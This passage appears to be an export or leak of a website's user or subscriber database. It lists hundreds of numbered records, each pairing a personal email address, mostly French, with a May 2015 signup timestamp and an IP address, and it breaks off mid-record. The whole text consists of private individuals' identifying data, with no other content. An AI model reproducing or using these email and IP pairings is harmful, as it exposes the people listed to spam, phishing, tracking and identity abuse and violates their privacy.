+10285;yvette.quinol@orange.fr;2015-05-20 16:24:36;2.4.205.212 +10286;vero-quillien@orange.fr;2015-05-20 16:35:32;92.146.183.204 +10287;annick.felix@sfr.fr;2015-05-20 17:07:00;92.92.37.6 +10288;INFO@DORO.BE;2015-05-20 17:09:23;91.176.209.59 +10289;gautier.patricia@hotmail.fr;2015-05-20 17:15:31;83.156.137.168 +10290;jourdonyaya@yahoo.fr;2015-05-20 17:28:04;176.146.6.177 +10291;courtois.ml@orange.fr;2015-05-20 17:34:49;90.41.140.101 +10292;gentiane.delapierre@free.fr;2015-05-20 18:07:47;88.177.98.15 +10293;gide.fannie@free.fr;2015-05-20 18:08:26;81.56.119.130 +10294;stell.sylvie@gmail.com;2015-05-20 18:08:49;85.169.251.199 +10295;katlapi@orange.fr;2015-05-20 18:26:07;90.51.149.6 +10296;annemarie.comoretto@wanadoo.fr;2015-05-20 18:37:52;90.3.56.247 +10297;29226745@qq.com;2015-05-20 18:45:00;83.152.98.44 +10298;elsa.burlan@gmail.com;2015-05-20 18:49:02;90.0.147.157 +10299;v.brandalise@yahoo.fr;2015-05-20 19:11:30;109.30.52.47 +10300;mdpchantilly2@orange.fr;2015-05-20 19:48:27;83.192.183.242 +10301;christelle.louvet747@orange.fr;2015-05-20 19:58:25;83.196.91.71 +10302;manonrehulka@orange.fr;2015-05-20 20:12:29;90.59.128.83 +10303;annie.jacquelin@hotmail.fr;2015-05-20 20:13:08;31.39.69.77 +10304;guylombardo@sfr.fr;2015-05-20 20:32:45;78.123.166.226 +10305;moreauariane@yahoo.fr;2015-05-20 20:49:57;88.163.64.156 +10306;chevtzovam@free.fr;2015-05-20 21:05:28;90.35.149.88 +10307;djevirginie@voila.fr;2015-05-20 21:33:01;78.199.106.129 +10308;gaume.annie@gmail.com;2015-05-20 21:52:05;90.23.223.188 +10309;sophie.buresi@sfr.fr;2015-05-20 21:54:42;77.192.194.98 +10310;espegashigwa@yahoo.fr;2015-05-20 22:11:39;178.51.215.53 +10311;clementina_paula@hotmail.com;2015-05-20 23:01:27;2.80.88.241 +10312;lucile.coadic@gmail.com;2015-05-20 23:02:12;80.13.131.173 +10313;anitaleger@voila.fr;2015-05-20 23:04:44;88.189.212.70 +10314;emiliane1@free.fr;2015-05-21 07:17:19;88.121.120.138 +10315;macaronpistache@orange.fr;2015-05-21 08:50:26;212.64.228.98 +10316;yokyotte@hotmail.fr;2015-05-21 09:06:07;89.85.221.176 +10317;cmalga@sfr.fr;2015-05-21 09:39:53;90.80.165.133 +10318;zaraa68@hotmail.fr;2015-05-21 10:14:14;195.132.157.48 +10319;marie-line5@hotmail.fr;2015-05-21 10:21:33;82.125.186.136 +10320;tigrou40300@wanadoo.fr;2015-05-21 10:23:01;90.45.172.101 +10321;LAETIGARRIGUES@YAHOO.FR;2015-05-21 10:47:15;83.206.27.12 +10322;cathy.ricquart@bbox.fr;2015-05-21 10:59:26;89.93.225.42 +10323;acoquin@ca-cf.fr;2015-05-21 12:02:25;194.51.215.62 +10324;adeline.willame@hotmail.fr;2015-05-21 12:14:43;109.7.92.65 +10325;genevieve.lefevre910@orange.fr;2015-05-21 12:36:18;86.192.134.195 +10326;laurence_merlaud@hotmail.com;2015-05-21 12:46:07;82.241.194.102 +10327;claire.bouss@gmail.com;2015-05-21 12:50:06;62.212.119.132 +10328;celine19-85@hotmail.com;2015-05-21 13:21:19;88.165.197.88 +10329;martinedegreve@orange.fr;2015-05-21 13:22:29;2.14.244.20 +10330;nadia.soncourt@free.fr;2015-05-21 15:26:40;88.127.169.41 +10331;clobara@gmail.com;2015-05-21 16:31:22;109.190.69.51 +10332;daniele.koch@free.fr;2015-05-21 17:12:23;88.169.96.69 +10333;argwenan@gmail.com;2015-05-21 17:20:29;82.127.214.2 +10334;fab_lafee@hotmail.fr;2015-05-21 17:51:30;78.217.186.62 +10335;gravostyle@netplus.ch;2015-05-21 17:52:08;178.197.227.164 +10336;harant.pascal@wanadoo.fr;2015-05-21 18:50:15;194.8.148.26 +10337;sibanack@hotmail.fr;2015-05-21 18:52:13;176.144.78.105 +10338;sylvie-yves.gall@orange.fr;2015-05-21 19:24:40;86.204.0.227 +10339;laetitia.albinoli@neuf.fr;2015-05-21 21:08:05;88.138.74.132 +10340;ginkutten@aol.com;2015-05-21 21:18:42;90.6.151.38 +10341;cat.masset@orange.fr;2015-05-21 21:20:23;90.18.32.199 +10342;nduchemin@provera.fr;2015-05-21 22:06:52;89.3.100.102 +10343;benmill43@yahoo.fr;2015-05-22 06:52:43;109.31.226.133 +10344;durandeloise@rocketmail.com;2015-05-22 07:05:44;78.250.160.32 +10345;luciemarquet63@hotmail.fr;2015-05-22 07:55:49;176.189.246.252 +10346;annieripoche@sfr.fr;2015-05-22 08:19:14;82.245.37.160 +10347;daniele.bruneval@dbmail.com;2015-05-22 08:23:07;89.226.208.241 +10348;bailletchr@wanadoo.fr;2015-05-22 09:01:10;90.16.131.197 +10349;matilda@live.fr;2015-05-22 09:27:14;109.213.69.96 +10350;murielle.chabanais@wanadoo.fr;2015-05-22 09:39:12;83.200.185.196 +10351;monluc.castagna@orange.fr;2015-05-22 09:50:23;90.19.100.11 +10352;fuchsstepha@gmail.com;2015-05-22 09:50:37;212.24.209.226 +10353;kaflo2506@gmail.com;2015-05-22 11:01:18;193.55.213.193 +10354;carinedelaite@hotmail.fr;2015-05-22 11:03:54;178.16.246.59 +10355;emmanuelle@watsoncom.fr;2015-05-22 11:09:11;217.128.129.235 +10356;c-cecil@hotmail.fr;2015-05-22 11:10:32;78.237.50.64 +10357;virginiejoulin@yahoo.fr;2015-05-22 11:30:55;83.198.202.66 +10358;laure.henry@neuf.fr;2015-05-22 11:46:33;109.1.208.85 +10359;mhamza59@hotmail.fr;2015-05-22 11:54:19;86.228.174.218 +10360;guinet.martine.73@gmail.com;2015-05-22 12:25:09;84.101.95.59 +10361;mariejo2450@hotmail.com;2015-05-22 12:29:20;217.129.228.6 +10362;ouaiba.ben@orange.fr;2015-05-22 12:39:08;77.197.90.55 +10363;morgane.lefol@hotmail.fr;2015-05-22 13:19:29;81.255.190.185 +10364;steph.houlette@gmail.com;2015-05-22 13:32:36;88.137.215.162 +10365;nathalie.courrie@wanadoo.fr;2015-05-22 13:57:13;109.215.254.199 +10366;mariechristinelegrand7@gmail.com;2015-05-22 14:13:56;31.32.193.15 +10367;nadine.jakobiak@sfr.fr;2015-05-22 15:20:47;93.13.86.93 +10368;jorgeur@wanadoo.fr;2015-05-22 16:12:51;92.130.152.204 +10369;romero.vanessa@neuf.fr;2015-05-22 16:39:46;86.219.36.163 +10370;t-hasuo@shikizai.com;2015-05-22 16:53:59;90.80.111.93 +10371;schungle.val@gmail.com;2015-05-22 17:59:45;78.230.41.187 +10372;pierrette.audegean@yahoo.fr;2015-05-22 19:48:07;89.86.57.201 +10373;tomaet@yahoo.fr;2015-05-22 20:10:55;82.242.146.79 +10374;monick.tudoux@loaposte.net;2015-05-22 20:29:33;82.245.58.15 +10375;sandrine.delperie@gmail.com;2015-05-22 20:31:15;90.45.29.114 +10376;margaridamoleiro@sapo.pt;2015-05-22 20:42:49;79.168.203.167 +10377;mariemadeleine.wicquart@sfr.fr;2015-05-22 20:44:08;89.81.221.165 +10378;dz57@orange.fr;2015-05-22 21:21:16;86.197.197.240 +10379;pikadilly@live.fr;2015-05-22 21:58:43;81.65.131.178 +10380;mdpirard@gmail.com;2015-05-22 22:02:45;91.180.46.73 +10381;pauline-lecomte@hotmail.fr;2015-05-22 22:40:03;90.96.172.209 +10382;chtigenaw@hotmail.fr;2015-05-22 22:57:34;2.13.253.120 +10383;nathalie.alberti@wanadoo.fr;2015-05-22 23:47:26;82.122.178.90 +10384;ambmaupiti@aol.com;2015-05-23 00:17:46;123.50.125.206 +10385;beatrice.blenner@voila.fr;2015-05-23 08:01:28;83.196.195.225 +10386;mariafranca.pancino@sfr.fr;2015-05-23 08:15:18;31.38.138.139 +10387;TISSOT@BLUEWIN.CH;2015-05-23 10:17:07;178.193.229.79 +10388;sabbath138@icloud.com;2015-05-23 10:28:08;92.157.255.62 +10389;maceli1227@live.fr;2015-05-23 10:32:54;83.156.124.47 +10390;agnes.reliaud@gmail.com;2015-05-23 11:15:47;176.144.254.4 +10391;beafros79@gmail.com;2015-05-23 11:57:41;89.2.189.138 +10392;faceseva@sfr.fr;2015-05-23 11:59:12;77.200.228.193 +10393;duchesne.ghislaine@orange.fr;2015-05-23 12:30:56;92.161.36.130 +10394;laurent.xiop@free.Fr;2015-05-23 13:01:04;88.173.170.99 +10395;sylvie.verzelloni@laposte.net;2015-05-23 13:23:20;78.227.226.71 +10396;helene.verdiere@gmail.com;2015-05-23 13:59:58;81.67.140.84 +10397;cathrin.wenger@gmail.com;2015-05-23 14:05:32;178.83.57.21 +10398;sorhueta@orange.fr;2015-05-23 14:14:38;109.222.167.234 +10399;dominique.rieux@neuf.fr;2015-05-23 14:46:10;109.190.145.115 +10400;constanceserve@yahoo.fr;2015-05-23 14:53:46;80.11.136.48 +10401;veronique.champ@orange.fr;2015-05-23 15:36:30;109.213.254.35 +10402;ait-ramdane.samia@orange.fr;2015-05-23 16:01:41;81.249.168.75 +10403;vezzani.wam@wanadoo.fr;2015-05-23 16:15:07;92.158.196.108 +10404;J.devillers@wanadoo.fr;2015-05-23 16:26:39;90.61.24.100 +10405;iberina@hotmail.fr;2015-05-23 17:05:52;88.174.126.142 +10406;francoise.cornote@gmail.com;2015-05-23 18:11:07;2.11.51.34 +10407;i.fornalik@free.fr;2015-05-23 19:18:32;82.122.199.165 +10408;jallaoui61@yahoo.fr;2015-05-23 19:20:55;82.233.221.249 +10409;roxane_ch@live.fr;2015-05-23 19:26:05;80.201.9.104 +10410;srgk4lkgj34gla@web.de;2015-05-23 19:42:37;178.162.193.213 +10411;a.jennifer@wanadoo.fr;2015-05-23 19:59:17;86.218.138.19 +10412;janineluiggi@gmail.com;2015-05-23 20:38:26;89.80.91.201 +10413;nadine.massiet@gmail.com;2015-05-23 21:55:28;92.142.151.44 +10414;celia16.05@hotmail.fr;2015-05-23 22:55:41;78.250.157.169 +10415;sylviane.verdun@gmail.com;2015-05-23 23:43:53;90.19.1.107 +10416;camille-clea@cegetel.net;2015-05-24 00:05:10;86.75.24.130 +10417;cdori@hotmail.fr;2015-05-24 12:09:39;81.48.59.212 +10418;dmfbeauty@yahoo.com;2015-05-24 13:06:11;65.25.249.235 +10419;corinh07@sfr.fr;2015-05-24 13:45:49;194.250.38.222 +10420;plagorce@laposte.net;2015-05-24 21:17:34;90.38.129.28 +10421;tholemar@sfr.fr;2015-05-24 22:23:56;92.90.16.144 +10422;verotrim@hotmail.fr;2015-05-24 22:31:11;91.69.87.121 +10423;carobgx@gmail.com;2015-05-24 22:38:50;88.178.175.26 +10424;sophiejacquot@orange.fr;2015-05-24 22:56:29;86.204.7.228 +10425;guisevy@hotmail.fr;2015-05-24 23:16:54;78.244.246.99 +10426;eloise.salles@gmail.com;2015-05-24 23:28:15;83.115.151.124 +10427;natisacaro@sfr.fr;2015-05-25 07:56:45;212.39.147.190 +10428;perrot.elisa@orange.fr;2015-05-25 10:06:01;92.139.227.23 +10429;andre.fleys@orange.fr;2015-05-25 10:27:26;90.4.180.16 +10430;laurence.godard72@gmail.com;2015-05-25 10:33:55;87.67.144.125 +10431;duwel.murielle@orange.fr;2015-05-25 10:47:09;90.7.127.17 +10432;valeriedegardin@orange.fr;2015-05-25 10:54:37;2.5.188.41 +10433;sauviette@hotmail.fr;2015-05-25 11:04:58;86.192.226.209 +10434;roy.frederic2@orange.fr;2015-05-25 11:27:20;2.11.121.13 +10435;cyprien.masset@orange.fr;2015-05-25 11:54:25;78.196.230.67 +10436;marine.monbelli@yahoo.fr;2015-05-25 12:14:58;89.92.246.206 +10437;adonval@free.fr;2015-05-25 12:45:49;78.232.45.54 +10438;rene.danais@orange.fr;2015-05-25 12:48:27;83.198.225.3 +10439;ostcarine@gmail.com;2015-05-25 13:05:05;93.12.50.34 +10440;karinemartinez@outlook.com;2015-05-25 13:11:53;92.143.104.85 +10441;angelicavampire@gmail.com;2015-05-25 13:15:44;78.225.12.212 +10442;christelle.geoffroy@nordnet.fr;2015-05-25 13:43:55;88.202.77.253 +10443;mariepierrelanglois@orange.fr;2015-05-25 14:15:02;86.216.19.253 +10444;leonore.godet@gmail.com;2015-05-25 14:15:28;88.189.1.32 +10445;sophie.coopmans@skynet.be;2015-05-25 14:55:58;109.129.128.46 +10446;nicsof@hotmail.fr;2015-05-25 16:18:46;84.37.122.170 +10447;bessoule@voila.fr;2015-05-25 16:20:07;82.230.169.89 +10448;franitaypoupinou@gmail.com;2015-05-25 16:28:07;109.220.251.208 +10449;dejeanlinda@gmail.com;2015-05-25 16:45:45;41.158.23.218 +10450;marie.la-rocca@laposte.net;2015-05-25 17:00:05;109.23.79.43 +10451;lydiedurand@icloud.com;2015-05-25 18:07:58;90.0.88.232 +10452;mylene.montels@gmail.com;2015-05-25 18:09:24;90.5.244.199 +10453;celiasa0110@aol.com;2015-05-25 18:38:03;83.205.20.61 +10454;nadia.ruch@free.fr;2015-05-25 19:55:09;88.160.80.52 +10455;mirandatb@hotmail.fr;2015-05-25 20:26:00;46.193.0.112 +10456;lamontagneliterie@bbox.fr;2015-05-25 20:35:18;83.195.225.22 +10457;payen.barbara@Bbox.fr;2015-05-25 20:42:20;89.85.150.32 +10458;janylaurehaensler@yahoo.fr;2015-05-25 22:15:32;86.194.77.73 +10459;nezhabak@hotmail.com;2015-05-25 23:10:54;176.187.20.202 +10460;jessica.berthou@outlook.fr;2015-05-25 23:46:03;86.215.215.85 +10461;agathepetit@hotmail.com;2015-05-25 23:59:25;84.101.101.186 +10462;nadine.bruley@wanadoo.fr;2015-05-26 07:25:48;90.39.201.132 +10463;helene-mathiotte@orange.fr;2015-05-26 07:58:47;5.99.192.250 +10464;marieclaude06.ferrari@gmail.com;2015-05-26 08:20:26;91.69.156.231 +10465;anna.bussotti@casaconseil.com;2015-05-26 09:51:37;78.121.79.10 +10466;famille.bout@wanadoo.fr;2015-05-26 09:56:06;90.19.148.159 +10467;spathina@msn.com;2015-05-26 10:18:48;37.164.49.105 +10468;elisabethroberty@gmail.com;2015-05-26 10:37:52;78.219.150.9 +10469;helenenew@mail.ru;2015-05-26 10:53:44;188.123.230.126 +10470;taobarat@hotmail.com;2015-05-26 10:57:44;194.8.148.33 +10471;s.peignaud@orange.fr;2015-05-26 11:27:56;109.213.177.236 +10472;annick.collet22@orange.fr;2015-05-26 12:35:09;86.220.57.5 +10473;julie.desindes@gmail.com;2015-05-26 12:35:17;193.50.175.32 +10474;armelle2475@free.fr;2015-05-26 12:51:03;88.121.13.5 +10475;martine.lartigau66@gmail.com;2015-05-26 13:04:44;90.115.99.241 +10476;graziella.raulot@wanadoo.fr;2015-05-26 13:06:09;193.252.179.180 +10477;frebot.val@gmail.com;2015-05-26 13:20:01;80.13.129.108 +10478;mijafred@hotmail.fr;2015-05-26 13:24:30;77.129.4.139 +10479;guylainekouache@gmail.com;2015-05-26 13:26:19;78.244.186.32 +10480;josee_nirat@yahoo.fr;2015-05-26 13:40:59;90.43.206.103 +10481;myriammontmayeur@yahoo.fr;2015-05-26 14:01:08;90.52.148.56 +10482;pilain_p@hotmail.fr;2015-05-26 14:25:23;80.15.42.136 +10483;warda-meknesia@hotmail.fr;2015-05-26 15:05:06;31.39.216.26 +10484;corinne.piccino@wanadoo.fr;2015-05-26 15:28:47;82.122.251.243 +10485;marvinangel25@gmail.com;2015-05-26 15:50:56;82.248.11.107 +10486;Edwige.Desjardins@orange.fr;2015-05-26 15:59:41;90.18.129.101 +10487;jl.denys@infonie.fr;2015-05-26 16:09:05;88.186.81.80 +10488;zelfalah@yahoo.fr;2015-05-26 17:16:45;185.46.214.65 +10489;sylvie.allard99@free.fr;2015-05-26 17:58:57;82.225.31.26 +10490;delphstj@hotmail.com;2015-05-26 18:37:44;176.145.24.99 +10491;kanny_anita@hotmail.fr;2015-05-26 21:02:47;77.133.214.109 +10492;florence.joaquim@free.fr;2015-05-26 21:08:15;88.170.80.49 +10493;nene-bodo@hotmail.fr;2015-05-26 22:26:30;78.219.35.25 +10494;diabololechat@yahoo.fr;2015-05-26 23:29:28;5.48.80.79 +10495;pascale.ollivier-lamarque@wanadoo.fr;2015-05-27 00:25:10;84.97.232.27 +10496;alexandra.pircher@laposte.net;2015-05-27 07:32:14;80.215.178.253 +10497;lakarol76@msn.com;2015-05-27 08:54:48;85.168.179.235 +10498;mariejeanne.haegy@yahoo.fr;2015-05-27 09:13:47;86.67.114.13 +10499;c.vandergunst@skynet.be;2015-05-27 09:52:54;91.183.56.138 +10500;florence.enaud@orange.fr;2015-05-27 10:26:31;94.127.8.248 +10501;sylvieprevel@yahoo.fr;2015-05-27 10:35:02;80.9.46.179 +10502;vivishrimplau@gmail.com;2015-05-27 10:47:08;90.25.206.89 +10503;scohy.nicole@hotmail.be;2015-05-27 10:49:37;149.154.232.242 +10504;sntapo@free.fr;2015-05-27 10:51:57;88.162.5.122 +10505;deydey31@orange.fr;2015-05-27 11:07:45;46.20.175.228 +10506;dando.immele@wanadoo.fr;2015-05-27 11:58:06;92.163.34.146 +10507;zoune335@hotmail.com;2015-05-27 12:01:02;212.51.175.33 +10508;emilielacour87@gmail.com;2015-05-27 13:08:41;86.206.18.9 +10509;eden.sissi@gmail.com;2015-05-27 13:26:49;86.66.22.250 +10510;k.montillet@gmail.com;2015-05-27 13:29:20;89.225.240.250 +10511;regrim@wanadoo.fr;2015-05-27 13:32:00;86.193.37.149 +10512;sophie.bontemps@sfr.fr;2015-05-27 13:39:59;176.179.106.120 +10513;fnicc@free.fr;2015-05-27 13:59:30;82.230.54.102 +10514;vicecharlet@sfr.fr;2015-05-27 14:26:42;212.198.51.67 +10515;DULIVODANIELLE@AOL.COM;2015-05-27 15:36:55;78.153.229.250 +10516;laochywpupsem@mail.trashma1l.com;2015-05-27 15:45:36;89.105.194.80 +10517;nicole.delnooz@live.be;2015-05-27 15:47:16;193.191.180.235 +10518;richard.kobloth@yahoo.fr;2015-05-27 17:05:01;109.8.73.78 +10519;sandrinepreterre@free.free;2015-05-27 17:28:57;90.22.113.155 +10520;mirambel.vero@yahoo.fr;2015-05-27 17:44:39;77.204.52.179 +10521;cam.genevieve@gmail.com;2015-05-27 17:58:53;86.208.184.205 +10522;mimizzr@hotmail.fr;2015-05-27 20:12:20;31.36.143.76 +10523;fiorest@orange.fr;2015-05-27 20:23:42;92.155.162.114 +10524;celia581@live.fr;2015-05-27 20:30:44;89.95.140.62 +10525;alexandrine-f@hotmail.fr;2015-05-27 20:32:08;78.237.200.47 +10526;chantal.langer@laposte.net;2015-05-27 21:47:16;88.162.151.12 +10527;fijver26@orange.fr;2015-05-27 21:54:07;109.213.50.18 +10528;philo-wintersberger@hotmail.com;2015-05-27 22:34:40;88.160.216.138 +10529;lava.i@live.fr;2015-05-27 22:45:14;86.67.213.81 +10530;sylvie.sarrazin2@orange.fr;2015-05-27 23:02:18;92.149.129.226 +10531;barmoz@free.fr;2015-05-27 23:51:22;78.237.197.17 +10532;alslatteux@orange.fr;2015-05-27 23:55:18;90.18.185.243 +10533;lucienne.ste1@voila.fr;2015-05-28 00:53:00;90.13.169.151 +10534;dorothee.pocholle@sfr.fr;2015-05-28 07:24:39;88.137.197.170 +10535;roselynegervais@orange.fr;2015-05-28 07:32:07;2.5.150.152 +10536;sandrine.defrancq@cashstore.fr;2015-05-28 08:09:16;82.229.157.237 +10537;lolobak@voila.fr;2015-05-28 09:03:04;90.43.205.71 +10538;p.fernandez@novavision.net;2015-05-28 09:57:59;188.219.207.202 +10539;nathalie.rouxeau@free.fr;2015-05-28 11:26:08;78.229.210.187 +10540;laurence.thiriet@cegetel.net;2015-05-28 11:38:57;91.91.16.11 +10541;oraison.lopet@orange.fr;2015-05-28 11:53:21;80.11.117.120 +10542;dieu.valerie@wanadoo.fr;2015-05-28 11:59:23;90.37.28.148 +10543;valeriemartens72@hotmail.com;2015-05-28 13:22:11;85.26.25.67 +10544;francelise@sky.com;2015-05-28 13:41:06;2.124.91.186 +10545;terol.malvina@orange.fr;2015-05-28 14:05:10;195.5.195.174 +10546;audelaine019@gmail.com;2015-05-28 14:40:07;82.239.125.3 +10547;sandrine.dejardin@gmail.com;2015-05-28 14:46:39;81.242.2.29 +10548;JULIEB0357@GMAIL.COM;2015-05-28 15:10:48;78.244.210.21 +10549;aurelie.vincent@hotmail.fr;2015-05-28 15:39:52;176.149.246.203 +10550;belleville33@outlook.fr;2015-05-28 16:01:35;92.134.228.181 +10551;champomiermercedes@gmail.com;2015-05-28 16:04:02;83.205.42.186 +10552;sophie.perignon6@orange.fr;2015-05-28 16:20:13;92.142.169.112 +10553;vanou87000@hotmail.fr;2015-05-28 16:36:59;109.222.163.170 +10554;universellamorena@gmail.com;2015-05-28 16:37:25;2.242.101.80 +10555;belindamambuene@jotmail.fr;2015-05-28 16:52:49;46.253.172.244 +10556;nathalie.choin@gmail.com;2015-05-28 16:52:58;84.98.7.152 +10557;sofie.zacchia@wanadoo.fr;2015-05-28 16:53:46;92.156.27.54 +10558;aolivi.AO@gmail.com;2015-05-28 17:10:29;194.57.219.92 +10559;thefabienetre@wanadoo.fr;2015-05-28 17:11:20;5.134.96.146 +10560;reynaud.claire@yahoo.fr;2015-05-28 17:23:07;193.251.34.40 +10561;scampsemz@live.fr;2015-05-28 17:54:42;92.156.0.196 +10562;azqjq3oq146io@mail.trashma1l.com;2015-05-28 18:52:48;94.102.49.60 +10563;muriel.lebourg@dbmail.com;2015-05-28 18:56:31;89.224.243.132 +10564;plombierloulou@hotmail.f;2015-05-28 18:58:30;89.88.219.30 +10565;hubert.carolo@sfr.fr;2015-05-28 19:45:00;77.129.111.63 +10566;mamie.fleur@hotmail.fr;2015-05-28 19:59:20;85.168.28.145 +10567;gedesandra@hotmail.fr;2015-05-28 20:08:04;89.86.179.218 +10568;kaouete65@neuf.fr;2015-05-28 20:34:07;109.31.16.127 +10569;guy.meyer15@wanadoo.fr;2015-05-28 20:36:08;86.235.89.222 +10570;capjbb@yahoo.fr;2015-05-28 20:41:36;86.193.37.235 +10571;marieange.martini@gmail.com;2015-05-28 21:15:41;93.7.26.118 +10572;valérie.asterix@orange.fr;2015-05-28 21:23:37;90.22.105.171 +10573;yazizainem@yahoo.com;2015-05-28 21:34:17;176.181.156.248 +10574;toutankartine@gmail.com;2015-05-28 21:55:37;86.200.109.90 +10575;serrapatricia64@orange.fr;2015-05-28 22:17:55;109.220.2.11 +10576;brunet.volailles@orange.fr;2015-05-28 22:26:53;92.150.224.56 +10577;sevault.clementine@gmail.com;2015-05-28 23:48:42;176.189.20.81 +10578;i.lepart@orange.fr;2015-05-29 00:05:03;81.49.67.174 +10579;maryminkue@yahoo.fr;2015-05-29 04:06:45;82.242.46.8 +10580;jeanpascal2@wanadoo.fr;2015-05-29 07:27:17;92.131.20.198 +10581;angelique.detaillle@orange.fr;2015-05-29 09:10:32;90.18.203.94 +10582;danniellewin@hotmail.fr;2015-05-29 09:22:43;80.185.148.111 +10583;lahexx@yahoo.fr;2015-05-29 09:27:52;90.40.49.88 +10584;huguette.benesty1@gmail.com;2015-05-29 09:56:32;87.231.213.71 +10585;soclaude@riv54.fr;2015-05-29 10:00:16;85.95.221.237 +10586;xbrjzrdqzdla4@mail.trashma1l.com;2015-05-29 10:02:39;162.247.72.7 +10587;laurencealbanese@yahoo.fr;2015-05-29 10:02:44;85.68.171.68 +10588;frassier.j-m@wanadoo.fr;2015-05-29 10:36:59;88.164.119.175 +10589;barbara0610@hotmail.fr;2015-05-29 11:07:42;2.5.47.200 +10590;mpetronille@hotmail.com;2015-05-29 11:21:34;194.250.203.238 +10591;samsam0727@aol.jp;2015-05-29 11:32:50;109.246.188.152 +10592;van.den.brande.helga@telenet.be;2015-05-29 12:07:52;94.225.132.67 +10593;isabellesilly@orange.fr;2015-05-29 13:08:37;2.9.174.87 +10594;krisga@orange.fr;2015-05-29 13:36:38;92.156.220.183 +10595;dornadic@aol.com;2015-05-29 14:24:09;2.13.212.121 +10596;mp.lavant@free.fr;2015-05-29 14:25:21;88.162.24.63 +10597;karen.balin@orange.fr;2015-05-29 15:01:48;90.62.130.193 +10598;corinnechamvoux@yahoo.fr;2015-05-29 15:21:32;87.231.32.60 +10599;france_massartic@hotmail.com;2015-05-29 15:28:30;89.92.184.163 +10600;interparaparis@gmail.com;2015-05-29 15:53:51;88.165.94.3 +10601;lorente.catherine@wanadoo.fr;2015-05-29 16:20:46;92.95.150.33 +10602;taratatadu22@hotmail.fr;2015-05-29 17:38:52;78.198.172.30 +10603;veromemoire@hotmail.fr;2015-05-29 17:53:24;90.32.94.28 +10604;henri.wachowiak@wanadoo.fr;2015-05-29 18:13:29;92.144.68.104 +10605;mjpicardo@gmail.com;2015-05-29 18:28:54;86.200.111.55 +10606;moijmb@free.fr;2015-05-29 18:59:00;88.182.193.230 +10607;calypsobleu@yahoo.fr;2015-05-29 19:06:26;82.238.143.50 +10608;monchichi2013@hotmail.fr;2015-05-29 19:22:02;78.250.52.105 +10609;dreanomarie@hotmail.fr;2015-05-29 19:32:10;90.12.95.49 +10610;corinne.dettwiler@bluewin.ch;2015-05-29 21:05:31;86.111.138.146 +10611;ycittannedd-5947@yopmail.com;2015-05-29 21:10:24;141.255.159.209 +10612;florencehenocque@orange.fr;2015-05-29 21:22:01;92.131.86.182 +10613;nolwenn_corre@hotmail.com;2015-05-29 21:56:08;31.32.191.176 +10614;celine000026@hotmail.fr;2015-05-29 22:11:46;128.78.176.26 +10615;harasdesaintpierre@gmail.com;2015-05-29 22:12:01;62.212.106.151 +10616;severinebertaux22@orange.fr;2015-05-30 03:43:56;80.12.152.211 +10617;pascale@brebbia.fr;2015-05-30 08:47:54;92.148.212.163 +10618;m.joce@hotmail.fr;2015-05-30 08:57:10;5.57.116.117 +10619;aureliedescubes@gmail.com;2015-05-30 10:52:33;90.46.1.93 +10620;julie.grand@orange.fr;2015-05-30 11:46:31;78.210.179.126 +10621;bruslerie@dauphine.fr;2015-05-30 13:15:48;93.19.125.47 +10622;magalietouchais@gmail.com;2015-05-30 13:25:06;84.103.156.191 +10623;philippepepek@gmail.com;2015-05-30 13:34:28;90.19.99.27 +10624;elise.lejeun80370@gmail.com;2015-05-30 13:35:51;86.208.93.40 +10625;papattelysiane@orange.fr;2015-05-30 13:58:33;109.219.56.56 +10626;dumont-authier.albine@orange.fr;2015-05-30 14:43:21;83.196.244.35 +10627;sande059@hotmail.fr;2015-05-30 15:05:46;90.1.18.179 +10628;ilesfidji1@hotmail.com;2015-05-30 15:38:38;82.245.202.147 +10629;billod.josyane@laposte.net;2015-05-30 16:50:21;93.30.70.191 +10630;lapeyre.nath@orange.fr;2015-05-30 17:53:46;86.228.147.227 +10631;annyjules@hotmail.fr;2015-05-30 18:00:20;2.2.17.129 +10632;cosmonatura@sfr.fr;2015-05-30 18:24:14;93.22.124.87 +10633;brigitte.gobe13@sfr.fr;2015-05-30 18:34:31;77.128.163.38 +10634;anne.slh@hotmail.fr;2015-05-30 19:02:12;109.25.56.251 +10635;mdar16290@gmail.com;2015-05-30 20:20:25;78.202.193.35 +10636;isadurand89@live.fr;2015-05-30 21:00:38;90.56.128.242 +10637;dehbi@live.fr;2015-05-30 21:03:17;77.128.32.213 +10638;almeria.cl@hotmail.fr;2015-05-30 21:37:30;93.31.85.213 +10639;pikaline@outlook.fr;2015-05-30 22:11:36;80.12.59.138 +10640;cath.neveu@orange.fr;2015-05-30 22:25:50;109.211.53.127 +10641;karine.florent@icloud.com;2015-05-30 22:27:54;109.210.83.95 +10642;forestiercolette@hotmail.com;2015-05-30 22:33:31;92.152.4.166 +10643;dalbergue.emilie@yahoo.fr;2015-05-30 22:57:04;87.89.7.208 +10644;danielle.mary0712@orange.fr;2015-05-31 07:16:56;82.126.239.250 +10645;celinebonnard@live.fr;2015-05-31 07:53:01;82.239.85.203 +10646;nadya3916@gmail.com;2015-05-31 09:43:04;78.239.138.228 +10647;nali73@hotmail.fr;2015-05-31 09:59:13;82.244.128.19 +10648;fabienne.delaune@orange.fr;2015-05-31 10:12:15;87.255.129.244 +10649;jean.salanon@wanadoo.fr;2015-05-31 10:15:08;90.15.51.205 +10650;vacheetsoleil@gmail.com;2015-05-31 10:53:29;78.236.190.181 +10651;corinelaplace@aol.com;2015-05-31 11:18:26;89.170.61.72 +10652;cdevro956@ol.com;2015-05-31 12:04:47;84.99.146.192 +10653;val.renouf@free.fr;2015-05-31 12:11:53;82.243.215.141 +10654;bridgetlove@hotmail.fr;2015-05-31 12:19:13;83.153.80.51 +10655;a.memole@gmail.com;2015-05-31 13:33:08;31.33.159.22 +10656;anne.pirlot@live.be;2015-05-31 13:36:06;87.67.178.212 +10657;monchichi2014@hotmail.fr;2015-05-31 13:43:18;78.250.57.92 +10658;georges.p1969@gmail.com;2015-05-31 14:54:46;81.252.140.65 +10659;LAURENCE.DELPRETE@GMAIL.COM;2015-05-31 15:48:55;86.220.126.243 +10660;sandrine.canin@neuf.fr;2015-05-31 16:55:03;77.201.25.63 +10661;s.dourver@orange.fr;2015-05-31 17:37:03;90.54.107.34 +10662;michelejoannyimbert@voila.fr;2015-05-31 17:49:47;78.244.188.177 +10663;yasmine_obl@hotmail.com;2015-05-31 17:51:52;88.160.167.22 +10664;elisetricard@gmail.com;2015-05-31 18:04:30;109.23.80.122 +10665;michele.pauc@icloud.com;2015-05-31 18:08:09;2.4.208.80 +10666;isabelle.chauffourier@hotmail.fr;2015-05-31 18:17:20;176.148.141.237 +10667;patalexia@yahoo.fr;2015-05-31 18:39:46;90.6.129.190 +10668;jean.poirier10@orange.fr;2015-05-31 